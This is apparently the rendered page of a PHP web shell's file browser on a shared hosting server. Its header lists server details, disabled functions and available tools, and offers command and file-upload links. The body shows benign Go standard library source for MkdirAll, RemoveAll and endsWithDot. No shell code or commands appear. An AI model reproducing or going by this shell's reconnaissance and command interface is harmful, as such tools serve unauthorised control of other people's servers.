Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.161 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../opt/golang/1.22.0/src/os/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package os import ( "syscall" ) // MkdirAll creates a directory named path, // along with any necessary parents, and returns nil, // or else returns an error. // The permission bits perm (before umask) are used for all // directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing // and returns nil. func MkdirAll(path string, perm FileMode) error { // Fast path: if we can tell whether path is a directory or file, stop with success or error. dir, err := Stat(path) if err == nil { if dir.IsDir() { return nil } return &PathError{Op: "mkdir", Path: path, Err: syscall.ENOTDIR} } // Slow path: make sure parent exists and then call Mkdir for path. // Extract the parent folder from path by first removing any trailing // path separator and then scanning backward until finding a path // separator or reaching the beginning of the string. i := len(path) - 1 for i >= 0 && IsPathSeparator(path[i]) { i-- } for i >= 0 && !IsPathSeparator(path[i]) { i-- } if i < 0 { i = 0 } // If there is a parent directory, and it is not the volume name, // recurse to ensure parent directory exists. if parent := path[:i]; len(parent) > len(volumeName(path)) { err = MkdirAll(parent, perm) if err != nil { return err } } // Parent now exists; invoke Mkdir and use its result. err = Mkdir(path, perm) if err != nil { // Handle arguments like "foo/." by // double-checking that directory doesn't exist. dir, err1 := Lstat(path) if err1 == nil && dir.IsDir() { return nil } return err } return nil } // RemoveAll removes path and any children it contains. // It removes everything it can but returns the first error // it encounters. If the path does not exist, RemoveAll // returns nil (no error). // If there is an error, it will be of type *PathError. func RemoveAll(path string) error { return removeAll(path) } // endsWithDot reports whether the final component of path is ".". func endsWithDot(path string) bool { if path == "." { return true } if len(path) >= 2 && path[len(path)-1] == '.' && IsPathSeparator(path[len(path)-2]) { return true } return false }